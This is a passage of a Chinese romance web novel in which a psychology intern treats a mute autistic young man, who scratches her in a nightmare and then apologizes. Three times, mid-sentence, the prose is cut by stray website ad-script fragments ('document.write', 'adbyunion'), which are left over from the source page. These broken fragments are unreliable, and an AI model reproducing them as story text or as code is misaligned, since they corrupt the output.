他镜片下的凤眼凌厉异常:“足足一个半钟头的时间,都不足以让你发现末染痛到快昏厥了,夏小姐,你现在的关心不显得很弱智可笑吗?” 担忧让夏初浅自动过滤了钟渊的嘲讽。 她只听得见:秋末染那一个半小时都在忍痛配合她,而她竟毫无察觉! “不是啊,我……”夏初浅头脑发蒙,无措地辩驳,“我跟他沟通好了,不舒服了随时告诉我,休息也好,喊医生来也好,我都没问题的。耽误的时间我给他补上就好,他为什么……他没表现出来一点点啊!我……” “他很能忍痛不代表他不痛,你就这点观察能力别给母校抹黑了。”钟渊嘴下毫不留情,“夏小姐,你要离职就尽快离职,别等到发现自己一无可取的时候再走,你只会比那些临阵逃脱的治疗师更可恶。” “……”自知疏忽,夏初浅哑口无言。 三次被叫“夏小姐”,不是钟渊礼貌客气,也不是她夏初浅身份尊贵,是她在比她专业、比她有经验的前辈面前还配不上“医生”这个身份。 雷电捎带疾风暴雨,女孩的脸色被黑云压得深沉。 一道银蛇划破云翳,转瞬即逝的灼白亮光,衬得她杏眼圆瞪的脸庞有一种砺山带河的倔强。 多说无用,夏初浅拧开门把手:“我进去看看。” 钟渊不带温度的提醒在身后响起:“末染吃了药已经睡着了,麻烦夏小姐不要吵醒他。” 屋内,窗帘拉上了,一盏融暖的睡眠台灯醒着。 少年斯斯文文平躺在被窝,被子盖到他的胸口,一呼一吸间柔软的碎发微摆,浸濡在暖黄色灯光之中的五官尽显安谧,全然看不出他差点痛昏。 部分自闭症患者对感官输入的反应不足,例如对疼痛不比正常人敏感。 但这不能当做宽慰自己的借口,没发现就是没发现,正如钟渊所说,能忍痛不代表不痛,她怎么就忽视了他昨天才被家暴过今天身体能好受吗? 床头的托盘里,他的那一杯温水见了底,她的那杯玫瑰花茶纹丝未动。 刘世培端来了八块小点心,现在剩了六块。 他留给她的。 如此场景,夏初浅一腔自责叫嚣着无从倾泻,沸反盈天的,还有对这个男孩子无边的疼惜。 秋末染左手还捏一张“情绪脸谱纸牌”,脸模漾起眉眼弯弯的甜笑。 夏初浅规整好床铺上零散的卡牌,最后,想轻手轻脚地去抽秋末染手里的那张,斟酌一下,还是算了,只给他一个人用的,留在这里也不碍事,就让他安稳睡吧。 倏尔,滚滚惊雷轰隆作响。 熟睡中的少年变得有些不安分。 他脸颊蹭着枕头来回转,紧攥被子的手暴起根根分明的青筋,似乎正陷于一个可怕的梦。 “小染?” 夏初浅立马凑上前去,推推秋末染的胳膊试图叫醒他:“你做噩梦了吗?醒醒!” 他没有醒过来,痛苦浮上眉梢,口中无声地喃喃有词。 她通过他的口型判断出了:不要。 不要什么? 什么不要? “小染,醒一醒啊!”夏初浅再次去摇晃秋末染的手臂,这次力度大了一些。 然而,少年冷不防地狠狠捏住了她纤细的手腕! 翠竹般的手指此刻化身为捕兽夹,力道之大,仿佛要生生咬断她的骨头! 指甲嵌进她细嫩的皮肤,剧痛呼啸而来,她的血细细密密地渗进他的指甲缝! “……啊!” 夏初浅吃痛惊呼,死活挣不开。 少年迷失于梦魇一般,豆大的汗珠顺着两鬓落于枕头,鸦羽似的长睫毛缓缓上扬…… 一双阴鸷空冷的眸子。 死灰槁木般与她对望。 7. 噩梦 又一束闪电劈天破云,雷声怒鸣。 床上的少年猛地抽搐两下,呼吸声急促凌乱,仿佛有一条带刺的藤蔓无形中不留缝隙地紧紧勒住他的咽喉,他另一只手胡乱地抓着空无一物的脖颈。 大口大口地喘息间,眸子中的阴云迅速退散,回归到了澄明的样子,一切恍若错觉。 神志清醒后,他才意识到床边站了个人。 借着灯光,他错愕看着那人,却看见她同样张大的眼睛和微微发颤的嘴巴。 这个表情他今天刚学过,是害怕。 指尖莫名黏糊糊的,他收回手,抬起一看,指甲缝里不知何时多出了肉丝和血迹。 他视线微移—— 她瓷白的手腕上四道鲜红的血痕,让他心跳骤然漏跳一拍,一时间分不清他是不是还困在血淋淋的噩梦。 她的伤口,是他造成的。 少年方寸大乱。 嘴唇张张合合,秋末染最后还是没出声。 他翻身从床上爬起来,恂恂地捧着夏初浅受伤的胳膊,不敢用一点力气,生怕把她弄疼了。 夏初浅想起那日安雅的“小魔王”警告,自己当时信誓旦旦的反驳现在显得草率了。 不管秋末染有意无意,他确实存在攻击性。 但恐惧只维持了短短几分钟,接下这个单子时,她就做好了面对所有风险的准备。 更何况…… 夏初浅绷住面部肌肉憋笑,少年明显比她惊惧交加得多,到此刻呼吸频率还紊乱着,他神色黯然,轻轻放下她的手,从床头柜的抽屉里翻出外伤用药。 癫痫发作时磕碰是常事,碘伏、棉签、纱布、消炎药膏等都是常备物品。 秋末染用眼神征求夏初浅的同意后,才又慎之又慎地抬起她的胳膊放在自己的腿上,拧开碘伏瓶盖,用棉签蘸了药水涂在她的伤口上。 “嘶——”夏初浅疼得倒吸一口凉气,她五感正常,没受过什么外伤的皮肤自然娇嫩些。 “……”秋末染顿住了手。 少年的脑袋埋得更低了,睡眠灯打亮他的半张脸,暖黄色驱不走他的消沉。 长睫颤动几下,他薄唇微启,向着伤口吹冷气。 然后,他仔仔细细地给她涂药膏、裹纱布、打结收尾。 动作之娴熟,很难不让夏初浅联想到,过往的年月,钟渊不在的时候,刘世培眼花了,别人碰他不得,他就是这样给自己急救处理的。 “小染,我问你。”夏初浅倾身,拉近与秋末染之间的距离。 她扑面而来的气息染着淡淡的自然清香,陌生的感觉让他缩了缩脖子,却并没有带着抵触情绪远离她,他仰起脸庞等她问话,眼皮仍旧垂下。 他看着自己的裤子,不敢看她。 “你真的是小魔王吗?”她语气刻意严厉,面上故作愠怒,“你是故意的吗?” 她问了两个问题,他摇了两次头。 “那你是做噩梦了吗?” “……”他点头。 “什么噩梦?能告诉我吗?” “……”他抿唇不语。 “好啦,今天就放你一马,我不问了,以后一定要告诉我哦。”夏初浅不吓唬秋末染了,露齿一笑道,“我没事的!我没那么胆小也没那么娇气。你又不是有意要伤害我,我不会怪你,你也不要内疚,我们也算扯平了。” 她害他痛到险些晕倒。 他还她四道指甲抓印。 都不是有意为之,还算公平。 秋末染不懂夏初浅口中的“扯平了”指什么,他蓦地上掀眼皮,一贯神色寡淡的脸色显出了惊讶。 视线中的她,用那只受伤的手冲他做了个隔空摸头的动作,一尺之隔,她完全没有触碰上他的皮肤,他却感受到了她手掌传来的融融温度。 没有丝毫埋怨和胆怯。 素净的小脸一笑倾城。 秋末染急切地在床上找到那张笑容甜美的面谱纸牌,护食似的抱在怀里。 这张,是他最喜欢的一张。 “小染,你还想玩吗?”夏初浅看秋末染貌似对纸牌很感兴趣的样子,钟渊的指责言犹在耳,再想玩也不能让他了,要好好躺着休息才行。 她把两盒牌搁在床头柜上,柔声说:“下次再玩吧,你喜欢的话就留在你这里保管。你今天做得非常棒,超额完成任务,接下来的时间,来听我读书吧。” 本来看秋末染睡了,夏初浅打算收拾东西离开的,但现在小少爷醒了还一副不尽兴的模样,两个小时的治疗时间也还不够,她便从帆布包里掏出了一本书。 这是徐庆河建议的一种治疗手段,通过读物来改善秋末染的理解沟通能力。 自闭症患者存在沟通缺陷,表现有多种,包括表达能力存在障碍但理解能力正常、表达和理解能力同时出现障碍、口语能力受损的结构性语言障碍以及发音障碍。 没听过秋末染开口说话,夏初浅只能暂且判断他至少理解能力还算在线。 读物是用来提高他的口语能力的,夏初浅这些日子一直备在帆布包里,期待着他对她讲第一句话的那天到来,她好随时拿出准备的书来干活。 千挑万选,她最终敲定了《小王子》。 老少皆宜的童话,充满哲思与感悟,是她最喜欢的一本书,也没有难读的长难句。 她还有些小私心在—— 翻开深蓝色封皮的精装书,金发绿衣的小王子插画跃入眼帘,夏初浅想起初见那天,少年一身清爽的薄荷绿色衬衣,隔绝在自己的B612号小小星球。 催着秋末染躺回床上,秋季的屋内难免湿冷,夏初浅给衣着单薄的他掖好被子。 他看起来有一丢丢挣扎,似乎有别的事情急着完成,她自然而然以为他还想玩牌,没多想。 她拿来一个靠枕当坐垫,屈腿坐上地板:“今天我读给你听,未来的某天,换你读给我听咯。” 清清嗓子,又喝一口冷了的玫瑰花茶,夏初浅细柔的声线似水波荡漾:“六岁那年,我在书上看到一幅很精美的画,那本书和原始森林有关……” 一隅暖光投射在书页上,搭配她和缓的语调,文字有了更温暖的力量。 少年侧躺着,手臂枕在脑袋下方,眸子一瞬不瞬地栖息在夏初浅的侧脸,眼底闪烁微光。 她清丽的轮廓被光勾勒出一层绒绒的金边,扎个高马尾,颅顶的发蓬松光泽。 倏然,他的手覆上了她的头顶。 一只大手伸展五指,像小孩初次撕糖纸似的笨拙又兴奋,还耐不住好奇多抓了几下。 夏初浅吓一跳:“……” 回头,对上一双探险者发现新大陆似的眼睛。 “小染,怎么了?我念的不好吗?”夏初浅眼珠子往上瞟秋末染的手,知道少年没有不良居心,她便让他的手放着了,转而,她扭过身子笑着说,“礼尚往来!” 她也去摸他的头发,他咻地闪开了。 夏初浅:“……” 好吧! 来日方长! * 读着读着,秋末染睡着了。 时间差不多了,夏初浅收拾好东西,关掉睡眠灯,踮着脚尖出了卧室,轻轻关上门。 她拿出手机看了眼消息。 李小萍一个小时前给她打了通电话,她关静音了没听到。 李小萍又发语音给她:“浅浅啊,你周芳阿姨非要喊我去看那个G市的花卉展,说什么国际规模的,世界级的,厉害的不得哦!我磨不过她,就去看看吧。” “我和你周芳阿姨今天下午些的高铁,去个五天。这五天你和阿童顾着点店,男孩子懒一些,你多照顾照顾他哈,浅浅,阿姨最信任你了。” 听完,夏初浅无声叹气,敲下一行字:【没问题,李阿姨你放心去玩吧,家里有我在。】 发送,退出微信。 心情跟天气一样乌云密布了。 夏初浅并不是不乐意看店干活照顾人,她是有点怕和董童单独待在一起,这么多年了,她至今没找到能和他比较舒服地独处的一种方式。 董童不知道心里自不自在,反 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 正她是吃不消的。 这时,刘世培从楼梯转角拐过来,和夏初浅正面相迎,夏初浅赶紧拉下衣袖遮住手腕。 秋末染抓伤她的事没必要惊动其他人。 “夏医生,诊疗时间已经过了,您一直没下来,我就想着上来看看……”刘世培驻足绅士地点点头,夏初浅的遮掩没逃过他的眼睛,老人面色一沉,猜得准确,“您的手……怎么了?被少爷抓伤了吗?” “没事没事!一点小伤,三五天就好了。”夏初浅摆摆手,示意刘世培不用太在意。 “这怎么能行!” 眼看刘世培就要呼叫钟渊了,夏初浅连忙制止:“刘管家,真的不要紧的!就是小染做噩梦不小心伤到我了,我们都太当回事儿的话,他会很愧疚的。” 刘世培放下手机,于心不忍:“夏医生,实在抱歉。少爷自从夫人去世之后常常做噩梦,但因为噩梦伤人的行为很少发生,让您见笑了。” 夏初浅没半点计较,倒是回忆起了病历夹里有关秋末染母亲的零星记录,大约十年前,秋末染九岁时,他的母亲莒藜因一场意外过世。 资料中没有记载莒藜的具体死因,夏初浅推测,大概率和秋末染的梦魇有关。 刘世培不是知情者,她只能去问当事人秋末染了。 夏初浅冲着刘世培释然笑笑,再次表明自己真的没关系。 有了前车之鉴,她跟刘世培商量:“刘管家,等小染醒了,麻烦您问问他的身体怎么样。他要是觉得痛、觉得不舒服,我们明天就休息一天,我后天再来。” 刘世培露出诧然的喜色,而后,动容更深。 前面几个被秋末染抓伤过的治疗师,都找各式各样的借口避之不及了,人心都是肉长的,刘世培懂他们只不过需要一个逃离秋家的体面借口,便不做挽留,治愈,与被治愈,是双向奔赴,强扭不得。 面前的女孩年轻善良,沉静坚韧,不知是不是“钥匙”,但至少是洪水中可用来救急的一根大树枝条。 刘世培应下,竟有些音调颤抖:“好。” 临走前,刘世培执意让司机开车送夏初浅。 一方面,雷雨天荫山路湿地滑,夏初浅走去大巴站不方便;一方面,自家小少爷害得人家细皮嫩肉的小姑娘落了伤,心里实在过意不去。 夏初浅走后,刘世培上二楼去看看秋末染。 推门进去,竟看见少年站在落地窗前的背影,窗帘拉开堪堪一肩的宽度,足够他目送车辆远行。 听到开门声,他转身看来,见是刘世培,惺忪睡眼中多了几丝安然。 他一瘸一拐地走回床前,膝盖和脚踝还没消肿,每一步脚踩大地都传来锐痛。 “少爷,腿脚还没好利索,少走路啊!”刘世培快步上前搀扶,心疼又无可奈何。 秋末染咬着牙走回去,从床头的抽屉翻出笔和纸,羊脂白的手指起笔写字,然后,把纸递给刘世培。 刘世培接过来读出声:“碘伏溶液、夫西地酸乳膏、重组人表皮生长因子凝胶、燕窝、小王子……” 浓浓笑意攀上刘世培眼角的皱纹,他和蔼地看着秋末染:“这些都是给夏医生的吗?” 秋末染指尖点在《小王子》三个字上,轻轻摇头。 “您自己拿来看的?” 少年认真点头。 书她带走了,没留给他。 “怎么突然想看书了。”这是件大好喜讯,刘世培把纸条收进西装口袋,面色是掩不住的喜悦,“我马上叫人去买。少爷,明天需不需要休息一天养养身子?” 少年利落摇头。 躺回床上他盯着天花板看,又举起那张“笑脸”脸谱卡牌怔愣出神,每分辨一张脸谱纸牌,必须看一看、再想一想她生动鲜活的表情才认得出来。 他又写下一张纸条,翻出几样工具,早就想这样做了,可那时她让他乖乖躺下。 搞定后,他想起今天没听到她惯例说的那句“我们明天见”,双唇翕动,半晌,挫败地关上嘴巴。 他已经不记得,要怎么说话了。 8. 意外 夏初浅盛情难却,只好上了秋家的卡宴,第一次坐豪车,她有些拘谨,好在司机方朋是位能言善道的人,又不显得油嘴滑舌,很快,她松弛下来。 方朋年纪四十多,夏初浅不禁想,如果她爸爸还在世的话,比方朋大不了几岁。 两人聊得投缘,夏初浅心里唯一有疙瘩的,是方朋都没问她家住哪里就径直往花店开。 想来也正常,那种背景的家庭,哪怕飞进去一只苍蝇都要摸清楚品种,更何况是跟独子朝夕相处的心理医生,不得把底细摸个一清二楚? 她倒不怕背调,无父无母的孤女一个。 花店位于阳安路的一条小街道,车辆可通行,但夏初浅提前拜托方朋:“方师傅,麻烦您把我放在‘阳安公园’那个公交站就好,那离我住的地方很近,我走回去就行。” 方朋开玩笑道:“哈哈,小夏,这么好的车不想给街坊邻居炫一炫啊?还是我们秋老板低调了,应该买辆更牛逼的!牛逼到你坐上就不想下来咯!” 她确实不想给附近的人看到有私家车送她。 夏初浅笑着附和了几句。 明白都是秉公办事的打工人,刘世培的要求可能是让方朋务必送她到家门口,她说:“如果刘管家问起了,我会说您把我送到了店门口的。” 方朋透过前视镜笑呵呵地瞅夏初浅一眼,小姑娘挺机灵的,便也没坚持,回道:“行啊。小夏,你太客气了,以后也别‘您’不‘您’的了,我没那么多讲究。” 夏初浅笑着应了声好。 雨势渐增,绿豆大的雨珠子把香樟枝条冲刷折了腰,雷雨天连夜都黑得又急又浓。 夏初浅下了卡宴,跟方朋礼貌道别。她从包里掏出雨伞在头顶撑开,装作和平日一样是从公交车上下来的,雨天人都打伞看地走路,应该没人留意到她。 来到花店,李小萍不在,估计已经上高铁了。 董童戴着黑口罩,眼神阴躁地坐在收银台后面的椅子上,一看就是被迫看店的。 见夏初浅回来了,他二话不说便起身上楼。 夏初浅望着董童的背影,一边把帆布包搁在台面上,一边问:“阿童,你吃饭了吗?” 董童口气冷淡:“没有,还不饿。一小时后你上来做饭吧,这么大的雨谁来买花,早点关门。” 他家的店,她没理由不顺着他。 回了句“好的”,夏初浅在椅子上坐下,从角落的矮柜里翻出医用酒精、棉签和纱布。 插花、修剪花枝时难免被刺扎破手指,店里不缺这些基础的外伤用药,夏初浅从公交车站走回来,上衣衣袖湿了,纱布不可避免泛了潮,需要更换新的。 她独自处理好伤口,剪纱布的时候还用牙齿辅助了一下。 外表娇柔的姑娘,早就学会了心理生理都不去依赖别人。 手机屏幕亮起,是刘世培的消息:【夏医生,打扰了。明天下午三点诊疗继续。】 手上沾了药水,夏初浅用小指戳键盘:【嗯,没问题,明天我按时到,请您放心。】 晚餐用冰箱里剩下的食材简单做了点,一个家常小炒,一人一碗西红柿鸡蛋面。 吃饭时,氛围冷峻得像是两个完全不熟的人拼桌。 夏初浅小口吃面条,没话找话地和董童聊天,董童有一搭没一搭地敷衍她几句。 沉默了一会儿,她略带凝迟地开口说起:“阿童,我房间的窗户坏了,漏风,可能要换新的窗框。” 说罢,她从碗里抬起头直视他。 董童低头用筷子捞面,没和夏初浅有视线交流,但他一向对旁人的目光极其敏感,知道她在看他。 “你去给我妈说。”董童有点不耐烦地回答,又用一句话堵住夏初浅的嘴,“我妈答应了给我买新电脑和新键盘,钱打给我了,没闲钱了。” “嗯。”夏初浅收回目光,埋头吃饭。 “你的手怎么了?”董童瞥见夏初浅衣袖里探出头的一小截白色纱布,随口问道。 “不小心刮伤了,不要紧。”夏初浅注视董童的双眼说道,他与她四目相对仅仅半秒,便又垂头看菜,她也适时地移开视线,把菜盘里肉多的一边转向他,“阿童,李阿姨不在的这五天,早上和晚上我在店里待着,下午换你,行吗?” 诊所实行弹性工作制,再加上她是大四学生,经常学校和诊所两头跑,徐庆河对她和安雅特殊关照,完成工作任务就行,不用非得屁股镶工位上。 董童“哦”了一声,放下筷子:“我吃完了。” 他没把碗筷放水槽里,起身回房间锁上了门。 霎时,夏初浅紧绷的神经得以松解,她耸了耸肩膀,把盘子转到自己跟前,大口吃起肉来。 每次和董童单独吃饭都跟受刑似的。 眼睛不能不看他,他会认为你被他毁容的脸恶心到吃不下饭;眼睛不能多看他,他会觉得你在用眼神嘲辱他这个丑八怪;不能不说话,他会以为你嫌弃他;不能多说话,说多错多,他还会脑补进而曲解你的意思。 敏感自卑到近乎病态。 李小萍在还好,母亲能给他一点安全感。 小时候,李小萍在楼下看店,夏初浅和董童在楼上吃饭,他时不时就莫名其妙掀桌子摔碗筷,吓得她憋住悬而未落的泪水,哭也不敢哭。 这种情况,随着他们年岁渐长鲜少发生了,不是董童心态有了改善,而是夏初浅摸到和他相处的诀窍了。 入夜,雨疏风骤,潮冷的风从漏孔的窗户中挤进来,有种四两拨千斤的寒冷。 夏初浅找了些海绵把缝隙填上,又一次思考要不要提出去住学校宿舍。 这个理由足够充分:天冷了,家里没钱修窗户,不想冻着所以她去住校。 自我肯定了一下,她打算等李小萍回来就商量。 * 第二天醒来,夏初浅哀叹不妙! 她的两个鼻孔都像被水泥封死了,清鼻涕无知无觉地往外淌,她赶忙抽张纸巾擦,一站起来,头脑有些昏沉,摸了摸额头,还好没发烧。 受凉了,有点小感冒。 吃了药,她本想喊董童起来换班,自己再去补个眠,但是董童赖床就是不肯。 快国庆了,到了一年一度婚礼扎堆的时段,上午过来花店下订单的客户接连不断。 夏初浅不停地打瞌睡,精神萎靡,但因为忙忙碌碌的,头脑还算清醒,午饭时间店里清闲了下来,眨个眼的功夫,她便趴在收银台睡着了。 不知睡了多久,又有生意找上门来时,她才被吵 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 醒。 “老板在不在啊?老板?” “……啊,在!”夏初浅猛地抬起脑袋,招手示意客人。 起身时眼前发花,一张小脸呈现出疲惫的苍白,笑容却依旧温暖敬业:“欢迎光临,您随便看。请问买花是打算送给谁呢?是什么特殊的日子吗?我给您推荐……” * 送走客人,夏初浅才顾得上看时钟—— 完了! 治疗铁定迟到了! 她扶着扶手跑上二楼,一边整理帆布包,一边喊董童出来,董童磨磨蹭蹭地进去卫生间洗漱。 出门前,夏初浅扒着门框叮嘱董童。 她鼻头红扑扑的,擦了一早上鼻涕起皮了:“阿童,我没做饭,你自己叫外卖。下午‘俊丽酒店’的张经理过来取花,她叫了车,不用我们送。张经理是老客户了,你好好点货……” “你烦不烦。”董童漱口不看夏初浅。 “那我走了。”夏初浅带好医用口罩,心想,再坚持一下,存够钱就可以不当“老妈子”了。 紧赶慢赶,一路不要小命地狂奔,夏初浅抵达秋家别墅时已经将近三点十五了。 她一向很守时,今天纯属意外。 她提前给刘世培发了消息,说自己晚一点到,并言辞恳切地道了歉,刘世培不是苛刻之人,不但没责怪她,还嘱咐她慢点来,安全第一位。 夏初浅在按下门铃的同时,铁艺大门便打开了。 门上有单侧可视对讲,还有监控,肯定是刘世培通过摄像头看到她的人了,她赧然笑笑,表达歉意:“刘管家,实在抱歉,我今天迟到了。” “……” 无人回应她,电流声呲呲作响。 刘世培雷打不动的“夏医生,请进”不见了。 夏初浅还没捋顺的呼吸更为乱套。 刘世培该不会说一套做一套吧?她会不会被辞退? 糟糕! 用脚趾头想,之前也不可能有哪个心理治疗师吃了豹子胆敢迟到啊! 如此念头,吓得夏初浅昏胀的大脑立时清醒,清醒到她判断“跑为上策”比较安全。 然而感冒的身体不听使唤,腿脚擅作主张地把主人送到了白檀木门前,右手还“砰砰”敲门。 门开了…… “对不起!对不起!我真的不是故意的!”夏初浅口罩下的脸乱作一团,一双杏眼因为生病飘起几道红血丝更添惶恐之感,她双手合十,“刘管家,我出了点小小的意外才迟到了,我绝对不是怠慢!我……” 嗯? 夏初浅噤声,双手自然垂下。 她仰头往上看,眼前的人比刘世培还高。 门后,年轻清瘦的身影迎风而立,一身纯白衣裤,深棕色碎发被风浅吻轻啄,慵懒摇曳。 “……小染?” 夏初浅头一次见他从自己的房间里走出来,也是第一次和他面对面直立站着。 OMG,现在的小孩吃什么长大的?她才到他胸口。 少年点点头,算是打招呼。 他修长的食指搭在可视对讲面板上,羽睫垂敛,明眸晦涩无光,藏不住一点情绪。 ——还以为你不来了。 ——还以为你怕我了。 9. 道歉 “怎么会是你呀?”夏初浅只露出一双笑得弯弯的杏眼,鼻音浓重但冲淡不了她语气中的愉悦,“吸……你……吸……你是来迎接我的吗?” 她不得不吸吸鼻涕。 秋末染点头,乖巧地侧过身子迎她进屋。 怕他也被冷风吹感冒,夏初浅赶紧关上门。 她从头到脚打量秋末染,他昨天还身体疼痛虚弱呢,今天能下床乱跑吗? “小染,你的伤好些了吗?膝盖能弯吗?脚踝呢?你是不是不应该下地走路啊?”夏初浅不禁担忧起少年的健康,同时担心自己再被钟渊好一通揶揄。 秋末染垂眸凝视夏初浅,不给回应。 夏初浅反应过来,自己一口气问了好几个问题,秋末染可能被问蒙了。 她刚想一个一个地再问一遍,少年忽地两指合捏,把她夹进口罩耳带里的一缕头发拿了出来。 落在她肌肤上的触感极轻,留一丝他指间的微凉。 夏初浅怔几秒,然后,她看着秋末染在她面前分别弯了弯左右腿的膝盖,又转了转两只脚的脚踝。 他神情淡然,动作灵活,不像在忍痛。 她稍稍安心下来,但还是得尽快带他回床上修养着,小少爷虽然挨打,但毕竟身娇体贵。 “走吧,小染,我们去你的房间。对不起啊,我今天迟到了十几分钟,下次一定不会了。” 夏初浅像往常一样跟家佣们挨个打招呼,这天,她收获的回应格外热烈,不过,只有一部分是给她的,更多部分是给她身后的“小尾巴”的。 刘世培满脸欣慰:“夏医生,下午好。少爷……” 保姆王妈抱着脏衣篮正往洗衣间走:“夏医生来啦!哎呦……哎呦!少爷你愿意出来透口气啦!” 厨师彭厨在准备下午茶,举止端庄的大厨,惊愕得脑袋都从门里探了出来:“夏医生,这是……少爷!” 小少爷真的还活着! 小少爷长得快认不出来了! 大家都在秋家做工多年,关于小少爷踏出卧室的记忆,停留在了七年前。 他的房间有独立卫浴,一日三餐由刘世培送进去,似乎于他而言,屋外的世界杀人不见血,只有自己黑暗的一隅之地才相对安全。 夏初浅走在前面,秋末染随在后面。 她走一步,他迈一步;她一步上两个台阶,他亦步亦趋跟上,他腿长,其实一次跨三个不在话下,但他不,因为她只跨了两个台阶。 也受限于脚踝有点痛。 哺乳动物先天性的“印随行为”,建立在对模仿对象的信任与依赖的基础上。 夏初浅往后偷瞄,喜悦在她脸上徜徉,显而易见,自闭小王子的内心世界悄悄开了一道缝。 走到卧室门口,夏初浅一眼便看到屋内敞亮如新,深灰色绒布窗帘被绑带优雅收起,大方欢迎阳光作客。 两盒“情绪脸谱纸牌”整齐地搁在床上,下面垫一本鲸蓝色封面的硬皮书。 暖烘烘的空气扑上她的口罩,驱赶走室外的凉意,屋里开了地暖,她坐地上不会冷了。 “妈呀!今天是黄道吉日吗!”鼻塞让夏初浅的声音发闷,乐不可支不减半分。 她隔空摸摸秋末染的头,少年太高了,她点起脚尖才能不碰他的头发:“小染,你今天出来接我,我特别开心!还有你房间的变化,你在进步呢,真棒!” 被夸奖了,秋末染眼里浮出淡淡的愉悦。 他塞一个环保纸袋给她,轻抬食指,似小鸡啄食般有节奏地戳戳夏初浅外套的衣袖,只碰布料,不碰她的皮肤,那里是昨天被他抓伤的地方。 夏初浅和秋末染交流无障碍,即使他不开口,她也能明白这是他关切的方式。 她脱下外套,穿一件黑毛衣,一边掀开环保袋看内容物,一边眉梢带笑地答:“我没事,不用担心我,我和你一样不怕疼,伤口好起来也很快。这是……给我的吗?” 满满登登一袋子药膏。 少年用力点头,殷切地盼她收下。 夏初浅被秋末染一眼就看到内在的样子逗笑了,不收伤了小孩的心多不人道,她把环保纸袋郑重地放进帆布包,笑道:“那我不客气了,谢谢你呀,小染。” 他看上去更为轻松怡然了,十根手指分得很开,压着蓝皮书缓缓推给她,还弹琴似的,指尖上跃下沉。 “你也买了一本?” 是一本崭新的《小王子》。 夏初浅指腹摩挲彩绘封面,心想,她直觉不错,挑到了一本秋末染喜欢的故事。 她把书先搁一边的床头柜上,去拿那两盒情绪纸牌:“最后半小时我读给你听,好吗?现在我们先来温习一下昨天学到的,昨天的‘情绪宾果对对碰’也还没比出胜负呢,我们今天接着比,好不好?” 不知为何,少年稍显失落。 他垂眼思索片刻,点点头。 很快,乐乐陶陶的夏初浅变成了过去时,此刻,她杏眼圆睁,难以置信地望着秋末染…… 一觉睡醒,昨天教他的识表情,他忘得一干二净! 她还纳闷他怎么今天这么乖了,原来提前给她情绪补偿呢! “……小染,没关系!我们再学一遍好了。”挫败感让夏初浅本就闷闷的嗓音更加有气无力,她强打起精神笑了笑,不能折损了秋末染的自信心。 她像昨天一样选出三张表情大相径庭的卡牌,举在脸前,重复和昨天同样的话:“请问小染,这三张中,哪一个人才是真正开心的……” 少年如小狗刨床,扒拉她的黑毛衣衣摆。 只见他捏着拇指和食指,比在脸前,从鼻子滑到下巴,重复这个动作。 看到第三遍,夏初浅解读出来,他在要求自己脱口罩。 “不行啦!”她将口罩捂得更紧,摇头解释,“我感冒了,会传染给你的,我不想你生病。” 秋末染手蔫耷耷地垂在大腿上,又冷不丁地抬起,覆上夏初浅的额头。 细腻如绸缎的手掌散发恰到好处的温度,他淡抿着唇,专注感受她传导过来的体温。 没有发烧。 夏初浅伺机而动,预备出其不意地摸秋末染的手背,她的动作才刚刚有个苗头,就被他机敏地闪开。 夏初浅再次以失败告终:“……” ……到底为什么可以心无芥蒂地触摸她但死活不给她碰一下呢! * 给秋末染做心理治疗真是个起起落落落落的过程。 后程,别提玩什么“情绪宾果对对碰”游戏决胜负了,他连最基本的喜怒哀乐都犯了迷糊,她问什么,他都顶一张“小白菜”的脸无辜摇头。 一夜回到解放前。 幸好戴着口罩,她可以暗戳戳地扭曲表情。 四点多,刘世培惯例进来送下午茶。 今日的点心变了花样,多了一盅雪梨炖燕窝。 刘世培把青瓷托盘放在床头柜上,面色和蔼地招呼秋末染和夏初浅用餐:“少爷,夏医生,休息一下吧。” “夏医生,听您的声音貌似感冒了,我让彭厨炖了雪梨燕窝给您润润喉咙。燕窝是少爷特意给您准备的,您趁热吃。” “太、太感谢了!让你们费心了真不好意思!”夏初浅受宠若惊地望向秋末染,迟疑道,“我……我工作结束后去一楼吃吧,这里不方便摘口罩,怕传染给……” 秋末染配合地用袖子捂住口鼻,坐去了床的另一侧,留给她少年感十足的背影。 夏初浅噗呲笑出声。 刘世培见两个年轻孩子相处融洽,心里百感交集,对着夏初浅说:“夏医生,下次您病了可以请假,休息几天不耽误事,健康最重要。” 感动溢满心间,夏初浅莞尔:“嗯,谢谢您。” 不能辜负小主人的隆情盛意,夏初浅脱去口罩,快速喝完了一盅雪梨炖燕窝,想起秋末染给的纸袋里有酒精喷雾,她拿出来对着空气呲呲几下。 “小染,你等一下再过来哦。” 少年背对着她微微颔首。 等待酒精挥发的过程中,夏初浅翻开了秋末染买的那一本《小王子》。 昨天读到哪里了? 回忆着,她手指拨动书页,蓦地停顿。 一张纸条夹在那一页,寥寥几字像光斑打上柔软的落叶,静谧的触动让她心脏狂跳不止。 纸上写:【对不起,我不是故意的,以后不会了。浅浅可以原谅我吗?】 字迹清隽,一如少年。 方才他推书过来的场景在她脑海中闪现,在明白过来的瞬间她心头震动。 她那时忽略了这个细节:摆在书封上的十根修长的手指,指甲全都修理过,短的不能再短。 圆钝的指甲盖边缘露出红通通的甲皱襞,有过指甲剪太短的经历的人都知道,一碰就疼。 夏初浅故意大力合上书制造响动,引得秋末染扭头看来,她大声回应:“不原谅你!” 少年眸子落在书上,明白她一定看到他的“道歉信”了,得到她否定的答案后垂眸难过。 她却破颜一笑:“因为就没怪过你。” 捉摸了足足两分钟,他唇角勉力上扬。 秋阳染金,白衣少年回以她一个极轻极浅的笑容,聊胜于无。 夏初浅单手托腮,眼神不自主地愈加柔软,温柔地命令:“以后指甲不许剪那么短,会发炎的。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 秋末染摇头拒绝。 夏初浅口气重了些,还假模假样地威胁:“噢!那我以后不读书给你听了,你不听话。” 秋末染瞳孔瞬间扩张,大长腿两下跨到了床这边,和夏初浅近距离面对面。 纠结片时,他扯了扯她毛衣的衣袖,认命点头。 ——好吧,我听话。 * 周五下午,“光明倾听者”诊所员工聚餐。 夏初浅极少参加这种社交活动,一方面可能需要自费,一方面李小萍对她有隐形限制,没明说过,但是她清楚,李小萍对她接触异性以及回家时间特别上心。 